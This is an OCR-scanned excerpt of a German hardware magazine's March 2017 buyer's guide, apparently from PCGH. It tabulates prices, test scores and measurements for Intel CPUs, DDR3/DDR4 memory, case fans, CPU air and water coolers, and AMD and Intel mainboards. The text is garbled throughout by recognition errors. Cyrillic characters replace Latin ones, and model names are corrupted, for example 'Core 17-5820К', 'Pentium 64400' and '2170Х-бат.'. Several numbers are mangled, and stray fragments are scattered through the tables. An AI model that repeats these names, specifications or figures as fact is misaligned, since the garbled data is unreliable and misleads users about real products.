ntel Core 17-5820К | Са. €410,- | 86,2 %/65,8 % | 46/340/278/176 6c/12t |- 3,3 GHz + Turbo |22nm | DDR4-2133 |2011-v3 | 2,15 | 03/2016 | www.pcgh.de/preis/1121100 
ntel Core i7-4790K | Ca. € 360,- | 81,9 %/57,1 % | 18/320/261/134 4d8 HD 4600 4,0 GHz + Turbo | 22 пт | DDR3-1600 | 1150 2,16 | 03/2016 | www.pcgh.de/preis/1119923 
ntel Core i5-7600K | Ca. € 240,- | 76,8 %/47,9 % | 19/203/262/245 4d4 HD 630 3,8 GHz + Tubo | 14 пт | DDR4-2400 | 1151 2,18 | 02/2017 | www.pcgh.de/preis/1551201 
ntel Core i5-5675C | Са. € 295,- | 78,8 %/41,7 % | 17/245/228/107 4/4 ris Pro 6200 | 3,1 GHz + Turbo | 14 пт | DDR3(L)-1600 | 1150 2,30 -*** | www.pcgh.de/preis/1275321 
ntel Xeon E3-1231 v5 | Са. Є 275,- | 79,7 %/54,4 % | 19/265/234/118 4c/8 - 3,4 GHz + Turbo | 14 пт | DDR4-2133 | 1151 2,36 | 03/2016 | www.pcgh.de/preis/1343661 
ntel Core i5-6600K | Са. € 240,- | 67,3 %/43,7 % | 22/245/225/109 4d4 HD 530 3,5 GHz + Tubo | 14 пт | DDR4-2133 | 1151 2,43 | 03/2016 | www.pcgh.de/preis/1290376 
ntel Core i5-7500 Ca. € 200,- | 67,6 %/40,5 % | 18/186/232/226 4/4 НО 630 3,4 GHz + Turbo | 14 пт | DDR4-2400 | 1151 2,52 | 04/2017 | www.pcgh.de/preis/1554205 
ntel Core i7-3770K Са. Є 370,- | 70,4 %/45,5 % | 25/267/235/123 4c/8 HD 4600 3,5 GHz + Turbo |22nm | DDR3-1600 | 1155 2,52 | 03/2016 | www.pcgh.de/preis/92891 1 
ntel Core i3-7350K Ca. € 190,- | 65,5 %/34,1 % | 19/189/230/226 2d4 HD 630 4,2 GHz 14nm | DDR4-2400 | 1151 2,56 | 03/2017 | www.pcgh.de/preis/1557508 
ntel Core i5-4690K | Са. € 250,- | 65,4 %/41,0 % | 18/256/229/123 4/4 НО 4600 3,5 GHz + Turbo | 22 пт | DDR3-1600 | 1150 2,63 -*** | www.pcgh.de/preis/1119925 
ntel Core i5-7400 Ca. € 180,- | 72,1 %/43,6 % | 18/194/242/233 4c/4 HD 630 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 1151 2,64 | 04/2017 | www.pcgh.de/preis/1553204 
ntel Core 15-6500 Ca. € 205,- | 63,4 %/40,6 % | 20/230/216/102 4/4 НО 530 3,2 GHz + Turbo | 14 пт | DDR4-2133 | 1151 2,74 | 03/2016 | www.pcgh.de/preis/1553204 
ntel Core i3-6100 Ca.€115- | 57,6 %/29,8 % | 21/221/208/94 2d4 HD 530 3,7 GHz 14 пт | DDR4-2133 | 1151 2,95 -*** | www.pcgh.de/preis/1329935 
ntel Pentium G4560 | Ca. € 60,- 55,0 %/26,9 % | 19/189/230/226 2d4 HD 610 3,5 GHz 14nm | DDR4-2400 | 1151 3,17 | 03/2017 | www.pcgh.de/preis/1558362 
ntel Pentium 64400 | Ca. € 55,- 26,4 %/20,0 % | 17/176/193/184 202 HD 510 3,3 GHz 14nm | DDR4-2133 | 1151 3,68 -*** | www.pcgh.de/preis/1329945 
* Normierte, gewichtete Leistung in Spielen/Anwendungen ** Gesamtes System in Watt (Leerlauf oh. Grafikkarte/Crysis 3/9 Spiele/@ Anwendungen) *** Nachgetestet ohne Heftartikel 
DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung А PCGH-Preisvergleich 
Yi TN G.Skill Trident X F3-1600C7D-16GTX Са. € 120,- | 2 x 8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 cm | 1,65 Vol 2,39 | 06/2015 | www.pcgh.de/preis/855480 
Kingston Hyper X Savage HX321C11SRK2/16 Са. € 150,- | 2 x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 cm | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Klew Neo KM3N8GX2W-2133 N. verfügbar | 2 x 8 GiByte DDR3-2133 | 10-12-12-31 | Dual-Rank | 4,6 cm | 1,60 Vol 2,48 | 03/2016 | www.pcgh.de/preis/1313430 
Crucial Ballistix Tactical BLT2CP8G3D 1869DT1TXOEU Са. € 140,- | 2 х 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 cm | 1,50 Vo 2,52 | 08/2014 | www.pcgh.de/preis/1037301 
G.Skill Trident X F3-2400C10D-16GTX Са. € 120,- | 2 x 8 GiByte DDR3-2400 | 10-12-12-31 | Dual Rank | 5,4 cm | 1,65 Vo 2,54 | 09/2013 | www.pcgh.de/preis/764621 
G.Skill Ares F3-1866C10D-16GAB Са. € 120,- | 2 x 8 GiByte DDR3-1866 | 10-11-10-30 | Dual Rank | 3,3 cm | 1,50 Vo 2,58 | 06/2015 | www.pcgh.de/preis/734632 
DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung MELT PCGH-Preisvergleich 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Са. € 360,- | 4 x 8 GiByte DDR4-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vol 1,89 2/2016 | www.pcgh.de/preis/1379074 
G.Skill Trident Z F4-3200C14Q-32GTZKW Са. € 320,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 2/2016 | www.pcgh.de/preis/1383384* * 
Corsair Vengeance LED CMU32GX4M4C3200C16R Са. €310,- | 4 x 8 GiByte DDRA-3200 | 16-18-18-36 | Dual-Rank | 5,0 ст | 1,35 Vo 2,10 2/2016 | www.pcgh.de/preis/1468728 
Tru y Crucial Ballistix Elite BLE4CAG4D32AEEA Са. € 150,- |4x 4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 2,23 2/2016 | www.pcgh.de/preis/1464325 
Corsair Vengeance LED CMU32GX4M2C3200C16B Са. € 320,- | 2 х 16 GiByte DDRA-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,33 2/2016 | www.pcgh.de/preis/1512560 
G.Skill Trident Z F4-3200C16D-16GTZ Са. € 160,- | 2 x 8 GiByte DDR4-3200 | 16-16-16-36 | Dual-Rank | 44 cm | 1,35 Vo 2,48 | 04/2016 | www.pcgh.de/preis/1345305 
ТЇЗ Kingston Hyper X Fury HX426C15FBK2/16 Са. € 140,- | 2 x 8 GiByte DDR4-2666 | 15-17-17-35 | Dual-Rank | 3,4 cm | 1,20 Vo 2,57 | 04/2016 | www.pcgh.de/preis/1306647 
Kingston Hyper X Savage | HX424C125B2K2/16 Са. € 160,- | 2 x 8 GiByte DDRA-2400 | 12-14-14-35 | Dual-Rank | 3,5 cm | 1,35 Vo 2,58 2/2016 | www.pcgh.de/preis/1380048 
Crucial Ballistix Tactical BLT2C8G4D26AFTA Са. € 130,- | 2 x 8 GiByte DDR4-2666 | 16-17-17-36 | Dual-Rank | 3,8 cm | 1,20 Vo 2,74 | 04/2016 | www.pcgh.de/preis/1314985 
Adata Premier AD4U240038G17-2 Са. € 130,- | 2 x 8 GiByte DDRA-2400 | 17-17-17-39 | Single-Rank | 3,2 cm | 1,20 Vo 2,89 2/2016 | www.pcgh.de/preis/1505715 
System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Вії SP1, НСІ Memtest Pro * Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 
System DDR4: Core i5-6600K/Core i7-6700K, Asus Maximus VII Extreme/Ranger und MSI 2170А Gaming M7, MSI Geforce GTX 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro ** Silber-rote Version 
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SERVICE | Einkaufsführer 


Einkaufsführer Kühlung 


Preise: Stand 23.03.2017 


WELT ERPREIS-LEISTUNGS-TIPP 


CELME ERSPAR-TIPP 


Hëne 


120-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 

Noctua NF-F12 PWM Ca. € 18,- | 4-Pin PWM/53 cm Spannungs-Adapter 1.500 U/min 10,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 

Blacknoise Eloop B12-PS Ca. € 19,- | 4-Pin PWM/75 cm - 1.500 U/min 10,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 

Scythe Glide Stream 120 PWM Ca. € 10,- | 4-Pin PWM/50 cm _ 1.300 U/min 10,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 qumTM 
Be Quiet Silent Wings 3 PWM Ca. € 18,- | 4-Pin PWM**/50 cm - 1.450 U/min 11,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/1490397 

EKL Alpenfóhn Wing Boost 2 Blue Ca. € 10,- | 4-Pin PWM/84 cm 7-Volt-Molex-Adapt. | 1.500 U/min 12,6/15,5/21,0 Kelvin | 1,4/0,6/0,1 Sone | 2,61 12/2016 | www.pcgh.de/preis/1098135 

Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm - 1.250 U/min 12,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone | 2,62 12/2016 | www.pcgh.de/preis/342339 

Arctic F12 PWM Ca.€4,- |4-Pin PWM**/39 cm - 1.350 U/min 10,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone | 2,63 12/2016 | www.pcgh.de/preis/458676 
Blacknoise Black Silent Pro PL-2 Ca. € 12,- | 3-Pin/75 cm - 1.400 U/min 12,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/476778 

Be Quiet Silent Wings 2 PWM Ca. € 27,- | 4-Pin PWM/44 cm _ 1.500 U/min 12,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/877395 

Be Quiet Shadow Wings SW1 Ca. € 12,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone | 2,76 12/2016 | www.pcgh.de/preis/684033 

Cooler Master Silencio FP 120 PWM | Ca. € 10,- | 4-Pin PWM/44 cm _ 1.400 U/min 13,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone 2,78 12/2016 | www.pcgh.de/preis/1227673 
140-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 
Blacknoise Eloop B14-PS Ca. € 25,- | 4-Pin PWM/75 cm - 1.200 U/min 8,8/11,0/15,2 Kelvin | 1,2/0,3/0,1 Sone | 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 25,- | 4-Pin PWM/45 cm 2-stufig 1.400 U/min 9,1/11,3/16,9 Kelvin | 1,6/0,7/0,1 Sone | 2,27 01/2016 | www.pcgh.de/preis/1348647 

Noctua NF-A14 FLX Ca. € 20,- | 3-Pin/53 cm 2 Spannungs-Adapt. | 1.200 U/min 9,5/12,0/16,9 Kelvin | 1,2/0,4/0,1 Sone 2:27 01/2016 | www.pcgh.de/preis/870798 

Aerocool Dead Sil. White Edi. 140mm | Ca. € 20,- | 3-Pin/50 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone | 2,33 01/2016 | www.pcgh.de/preis/1058907 

Blacknoise Black Silent Pro PK-2 Ca. € 16,- | 3-Pin/75 cm - 1.200 U/min 10,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone | 2,39 01/2016 | www.pcgh.de/preis/476867 

Fractal Design Venturi HP-14 PWM Ca. € 17,- | 4-Pin PWM/50 cm - 1.500 U/min 9,6/11,7/18,2 Kelvin | 1,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 

Enermax T.B.Silence PWM 140mm Ca. € 10,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin | 1,7/0,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 E nliriunre 4 
Silverstone SST-FQ141 Ca. € 20,- | 4-Pin PWM/29 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone | 2,42 01/2016 | www.pcgh.de/preis/1170330 

Be Quiet Silent Wings 2 PWM Ca. € 20,- | 4-Pin PWM/45 cm _ 1.000 U/min 11,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone | 2,44 01/2016 | www.pcgh.de/preis/877396 

Phanteks PH-F140SP Ca. € 15,- | 3-Pin/92 cm _ 1.200 U/min 8,9/11,5/16,2 Kelvin | 1,7/0,5/0,1 бопе 2,45 01/2016 | www.pcgh.de/preis/1112616 

Nanoxia Cool Force Ca. € 10,- | 3-Pin/43 cm Vorwiderstand 1.100 U/min 12,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone 2,47 01/2016 | www.pcgh.de/preis/1395404 

Enermax Cluster Advance Ca. € 13,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 Sone | 2,65 01/2016 | www.pcgh.de/preis/1186749 

Akasa 14cm Apache Black Ca. € 17,- | 4-Pin PWM/40 cm - 1.300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 Sone | 2,72 01/2016 | www.pcgh.de/preis/681031 

Noctua NF-A14 Industr.-PPC-2000 PWM | Ca. € 25,- | 4-Pin PWM/40 cm _ 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/0,5 Sone 2,75 01/2016 | www.pcgh.de/preis/1115473 

Be quiet Pure Wings 2 140mm Ca.€9,- | 3-Pin/45 cm _ 1.000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone | 2,88 01/2016 | www.pcgh.de/preis/994425 
180-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in PCGH-Preisvergleich 

Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,319,0/12,6 Kelvin 0,6/0,2/0,1 Sone 172 04/2015 | www.pcgh.de/preis/955636 


* Auf Alphacool Nexxxos XT45 120/140/180 mm 


adiator, Differenztemperatur Wasser/Luft; Wärmequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl; ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Stórgeráusche 


Prozessorkühler 


Modell Preis Maße (B x H x T) Gewicht CPU-Temp. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 %) Test in 
Noctua NH-D15 Са. € 85,- 51 x 175 x 162 mm; 1312g 50,8 *C (1.020 U/min) 48,1/49,9/54,5 *C 3,0/1,2/0,2 Sone 2,08 09/2015 | www.pcgh.de/preis/1098241 
Scythe Mugen 5 Са. € 44,- 38 x 150 x 109 mm; 885 g Nicht mögl. (max.0,9 Sone) | 52,1/53,6/59,4 °C 0,9/0,3/0,1 Sone 2,11 01/2017 | www.pcgh.de/preis/1549393 
Thermaltake Frio Extr. Silent 14 Dual | Ca. € 80,- 57 x 166 x 146 mm; 1235 g 50,3 *C (1.000 U/min) 49,6/52,1/61,2 °C 1,6/0,6/0,1 Sone 2/11 09/2015 | www.pcgh.de/preis/1196525 
Scythe Fuma Са. € 43,- 38 х 149 х 131 mm; 923 g 52,0 °С (900 U/min) 48,5/50,8/56,2 °С 2,9/1,3/0,4 Ѕопе 2:13 05/2016 | www.pcgh.de/preis/1339886 
Noctua NH-U14S Ca. € 70,- 52 x 166 x 80 mm; 938 g 51,4 *C (1.140 U/min) 49,7/52,1/58,7 °C 1,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 
EKL Alpenföhn Olymp Са. € 55,- 55 x 161 x 151 mm; 1.1879 | 52,8 °C (1.020 U/min) 50,8/53,5/61,5 °C 2,0/0,9/0,1 Sone 2,18 05/2016 | www.pcgh.de/preis/1386052 
hermalright Le Grand Macho RT n. verfüg. 50 х 162 х 148 mm; 1.1119 | Nicht mögl. (max.0,9 Sone) | 50,1/52,8/59,1 °C 0,9/0,3/0,1 Sone 2,19 01/2017 | www.pcgh.de/preis/1442034 
hermalright Macho Rev. B Са. € 45,- 42 x 173 х 129 mm; 877 g 52,2 °C (1.190 U/min) 51,2/54,7/62,9 °C 1,2/0,5/0,2 Sone 2,22 02/2015 | www.pcgh.de/preis/1193857 
Scythe Ninja 4 Са. € 40,- 32 х 155 x 155 mm; 905 g 52,4 °C (1.170 U/min) 50,6/53,2/60,3 °C 2,1/0,7/0,2 Sone 2,22 09/2015 | www.pcgh.de/preis/1267181 
hermalright Macho Direct Ca. € 38,- 52 x 162 x 128 mm; 823g 52,1 *C (1.190 U/min) 52,1/54,8/61,3 °C 1,0/0,3/0,1 Sone** 2,23 04/2016 | www.pcgh.de/preis/1372274 
hermalright Silver Arrow ITX Ca. € 75,- 67 x 163 x 105 mm; 775g 52,1 *C (1.070 U/min) 50,2/54,3/62,9 °C 1,5/0,5/0,1 Sone 227 05/2016 | www.pcgh.de/preis/1209699 
Be Quiet Dark Rock Pro 3 Ca. € 75,- 41 x 164 x 150 mm; 1244 g 51,6 °С (1.340 U/min) 50,3/52,1/55,6 *C 2,1/0,9/0,3 Sone 2,29 09/2015 | www.pcgh.de/preis/1054341 
hermalright True Spirit 140 Direct Ca. € 38,- 52 x 165 x 71 mm; 658 g Nicht mögl. (max. 0,8 Sone) | 50,8/54,2/60,7 °C 0,8/0,2/0,1 Sone 2,30 01/2017 | www.pcgh.de/preis/1529573 
EKL Alpenfóhn Brocken 2 Ca. € 39,- 53 х 173 x 98 mm; 840 g Nicht mögl. (max.0,8 Sone) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 
hermaltake Frio Silent 14 Ca. € 33,- 50 x 165 x 68 mm; 633 g 54 *C (1.060 U/min) 52,2/55,4/63,9 °C 1,2/0,3/0,1 Sone 2,48 12/2014 | www.pcgh.de/preis/1157899 
Cooler Master Hyper 612 Ver.2 Ca. € 40,- 51 x 162 x 131 mm; 945 g Nicht mögl. (max.0,9 Sone) | 54,9/58,2/-* °C 0,9/0,3/-* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 
Noctua NH-D15S Ca. € 80,- 49 x 163 x 134 mm; 1.153 g | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,54 05/2016 | www.pcgh.de/preis/1271076 
EKL Alpenföhn Brocken Eco Са. € 32,- 31 х 151 x 88 mm; 612 g 55,9 °C (1.240 U/min) 53,7/57,4/64,2 °C 1,4/0,5/0,1 Sone 2,55 12/2014 | www.pcgh.de/preis/1081623 
Arctic Freezer i32 Ca. € 26,- 24 x 150 x 74 mm; 659 g 53 °C (1.270 Ulmin) 53,0/58,3/67,3 °C 1,0/0,4/0,2 Sone** 2,56 04/2016 | www.pcgh.de/preis/1325324 
Be Quiet Pure Rock Са. €31,- 30 х 155 х 89 mm; 629 g 56,2 °C (1.370 U/min) 55,5/58,1/68,0 °C 1,5/0,5/0,1 Sone 2,62 01/2017 | www.pcgh.de/preis/1184606 
Cooler Master Hyper 4125 Ca. € 40,- 32 х 162 x 97 mm; 580 g Nicht mögl. (max. 0,8 Sone) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 
Enermax ETS-50 Axe Ca. € 50,- 39 x 161 x 112 mm; 910 g 55,3 °C (1.190 U/min) 49,5/52,4/62,3 °C 3,3/1,3/0,4 Sone 2,67 01/2017 | www.pcgh.de/preis/1491128 
Thermaltake Frio Silent 12 Са. € 39,- 28 x 141 x 67 mm; 328 g 54,7 °С (1.310 U/min) 53,8/58,6/70,4 °C 1,1/0,4/0,1 Sone 2,68 01/2017 | www.pcgh.de/preis/1158734 
Be Quiet Shadow Rock Slim Ca. € 40,- 41 x 159 x 73 mm; 702 g 54,8 °C (1.220 U/min) 53,5/57,1/64,3 °C 1,6/0,5/0,1 Sone 2,69 09/2015 | www.pcgh.de/preis/1054903 
Noctua NH-C14S Ca. € 75,- 46 x 142 x 164 mm; 1.013 9 | 57,3 °C (980 U/min) 53,2/55,7/62,3 °C 3,1/1,4/0,3 Sone 2,98 04/2016 | www.pcgh.de/preis/1271077 


* Betrieb mit 50 Prozent Drehzahl nicht móglich 
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** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusátzliche Stórgeráusche 
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Einkaufsführer Wasserkühlung & Mainboards нз» 


(ИТ PREIS-LEISTUNGS-TIPP 


ШТ ER SPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) ЙТ PCGH-Preisvergleich 
Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 °C (1.020 U/min) 49,4/51,2/56,0 °C 3,9/1,9/0,6/0,1 Sone 1,56 08/2016 | www.pcgh.de/preis/758311939 

IL T Arctic Liquid Freezer 240 Ca. € 80,- | 273 х 120 x 88 mm 47,4 °C (970 U/min) 47,9/50,5/56,7 °C 2,5/1,0/0,2/0,2 Sone** 1,78 03/2016 | www.pcgh.de/preis/1341649 
Cooler Master Nepton 240M Ca. € 110,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 48,2/50,6/56,6 °C 4,3/2,1/0,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах 11 240 Ca.€-5- | 275 х 120 х 53 mm 53,3 °C (1.020 U/min) 51,4/53,7/60,9 °C 2,8/1,3/0,4/0,3 Sone 2,20 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler H20 1200 Pro Ca.€-5- |276x120x52mm 51,7 *C (1.000 U/min) 50,0/51,8/57,6 °C 4,2/2,0/0,7/0,1 Sone 2,25 04/2016 | www.pcgh.de/preis/1374223 
Fractal Design Kelvin $24 Ca. € 100,- | 276 x 124 x 58 mm 52,7 °C (900 U/min) 51,1/53,3/57,2 °C 4,4/2,2/,8/0,7 Sone 2,42 06/2015 | www.pcgh.de/preis/1127755 
Thermaltake Water 3.0 Extreme 5 Ca. € 100,- | 277 x 120 x 55 mm 50,1 °C (1.020 U/min) 47,7151,1/59,2 °C 5,5/2,4/,6/0,4 Sone 2,43 06/2015 | www.pcgh.de/preis/1230429 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) ЙТ PCGH-Preisvergleich 
Alphacool Nexx. Cool Answer 240 D5/ST | Ca. € 250,- | 275 x 124 x 55 mm 49,6 °C (1.120 U/min) 49,6/51,3/57,4 °C 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
EK Water Blocks EK-Kit S240 Ca. € 200,- | 282 х 121 x 52 mm 49,2 *C (1.200 U/min) 47/49,2/53 °C 2,3/1,0/0,3/0,1 Sone 1,34 | 09/2016 | www.pcgh.de/preis/1443185 
XSPC Ray Storm Pro lon AX240 Kit Ca. € 240,- | 287 x 128 x 65 mm 48,9 *C (1.000 U/min) 45,6/47,4/51,8 *C 2,9/1,3/0,5/0,3 Sone 1,58 09/2016 | www.pcgh.de/preis/1450064 

Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! * Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche 


Mainboards für AMD-Prozessoren 


Sockel FM2+ Preis Chip/Format | Slotanzahl USB 3.0 (Front)/SATA3 | Besonderheiten | Stromverbrauch* ЁТ] PCGH-Preisvergleich 
Asus A88X-Pro Ca. € 120,- | А88Х/АТХ x16 (2), x1 (2), PCI (2) | 4 x (6 х)/6 х 6Gb/s BIOS-Flashback 38,1/173,2 Watt 1,66 | 03/2014 | www.pcgh.de/preis/1001720 
ПТА Asrock FM2A88X- Killer Са. € 95,- | A88X/ATX x16 (2), x1 (2), PCI (3) | 4 x (2 x)/8 x 6Gb/s Killer E2200 LAN | 25,1/163,3 Watt 1,67 | 03/2014 | www.pcgh.de/preis/1051505 
Sockel AM3+ Preis Chip/Format | Slotanzahl USB 3.0 (Front)/SATA3 | Besonderheiten | Stromverbrauch* ЁТ PCGH-Preisvergleich 
Asrock 990FX Killer Ca. € 130,- | 990/ATX x16 (3), x1 (2), PCI (0) | 4 x (2 х)/5 x 6Gb/s M.2-Schnittstelle | 60,7/287,4 Watt 1,76 | 09/2014 | www.pcgh.de/preis/1051502 
Asus Crosshair Formula-Z Ca. € 240,- | 990/ATX x16 (4), x1 (2), PCI (0) | 4 x (2 x)/8 х 6Gb/s Gut übertaktbar | 67,0/290,4 Watt 1,84 | 09/2014 | www.pcgh.de/preis/823995 
Asus 990FX Sabertooth Ca. € 170,- | 990/ATX x16 (4), x1 (1), PCI (1) | 4x (2 x)/8 x 6Gb/s E-SATA 81,4/334,7 Watt 1,89 | 09/2014 | www.pcgh.de/preis/827096 
Tr T Asus M5A97 R2.0 Ca.€85, | 970/ATX x16 (2), x1 (2), PCI (2) | 2 x (4 x)/6 x 6Gb/s BIOS-Flashback 58,8/277,6 Watt 1,89 | 01/2013 | www.pcgh.de/preis/818969 


* Leistungsaufnahme des ganzen PCs (A10-850K bzw. FX-8350 + HD 7970; 2x 2 GiB DDR3-1333) bei Windows-Leerlauf/Stabilitätstest 


Mainboards für Intel-Prozessoren 


Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Gigabyte 2170Х-бат. G1 | n. verfüg. | Z170/E-ATX | x16*/x0*/x16*/x0* & x1/x1/x1 | 3.0x4**; 3.0x4** | Sound Core | 2/0x3.1; 7/4x3.0; 10x | 6 (2x PWM) 2,26 10/2015 | www.pcgh.de/preis/1306474 
Asus Maximus VIII Ranger | Ca. € 180,- | Z170/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4 ALC1150 | 2/0x3.1; 2/4x3.0; 6x | 7 (7x PWM) 2,33 11/2015 | www.pcgh.de/preis/1306336 
Asus Z170-Deluxe Са. € 290,- | 2170/АТХ | x16*/x0* & х1/х1/х1/х1/х2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3.0; 8x | 7 (6x PWM) 2,34 10/2015 | www.pcgh.de/preis/1306329 
MSI 7270 Gam. Pro Carb. | Ca. € 180,- | Z270/ATX x16*/x0* & x1/x1/x1/x4 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/4x3,0; 6x | 6 (6x PWM) 2,37 02/2017 | www.pcgh.de/preis/1557471 
Asus Maximus IX Hero Ca. € 270,- | Z270/ATX | x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/2x3,0; 6x | 8 (8x PWM) 2,41 02/2017 | www.pcgh.de/preis/1557900 
EVGA 7270 FTW K Ca. € 320,- | Z270/ATX x16*/x0* & x4/x1/x1 3.0x4**; 3.0x4** | ALC1150 | 2/0x3.1; 6/4x3,0; 6x | 7 (7x PWM) 2,43 04/2017 | www.pcgh.de/preis/1561593 
EVGA 7170 Classified Ca. € 500,- | Z170/E-ATX | x16*/x0*/x0*/x0*/x0* & x4 3.0x4**; 3.0x1 Sound Core | 0/2x3.1; 6/2x3.0; 8x | 7 (7x PWM) 2,44 10/2015 | www.pcgh.de/preis/1306951 
Gigabyte Z270X-Gaming 7 | Ca. € 230,- | Z270/ATX | x16*/x0* & x1/x1/x0*/x0* 3.0x4*; 3.0x4** | Sound Core | 2/0x3.1; 5/4x3,0; 6x | 7 (7x PWM) 2,46 02/2017 | www.pcgh.de/preis/1557876 
Super Micro C72270-CG | n. verfüg. | Z270/ATX x16*/x0*/x0* & x1/x1/x1 3.0x4; 3.0x4** ALC1150 | 4/0x3.1; 0/2x3,0; 6x | 5 (bx PWM) 2,49 04/2017 | www.pcgh.de/preis/1578717 
Asrock 7270 Gaming K6 | Ca. € 190,- | Z270/ATX x16*/x0* & х1/х1/х1/х4 3.0x4**: 3.0x4** | ALC1220 | 2/0x3.1; 4/4x3,0; 8х | 5 (5x PWM) 2,51 02/2017 | www.pcgh.de/preis/1544856 
MSI 2170A Gaming M7 Ca. € 200,- | ZI70/ATX x16*/x0* & x1/x0*/x0*/x0*/x4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3.0; 6x | 5 (3x PWM) 2,54 10/2015 | www.pcgh.de/preis/1306689 
Gigabyte 2170Х-бат. 3 | Са. € 170,- | Z170/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1150 | 2/0x3.1; 3/4x3.0; 6x | 5 (1х PWM) 2,55 11/2015 | www.pcgh.de/preis/1306467 
I Asrock 2170 Gaming KA | Ca. € 130,- | Z170/ATX x16 & х1/х1/х4/х1 3.0x4 ALC1150 | 0/0x3.1; 6/2x3.0; 6x | 6 (6x PWM) 2,58 11/2015 | www.pcgh.de/preis/1306625 
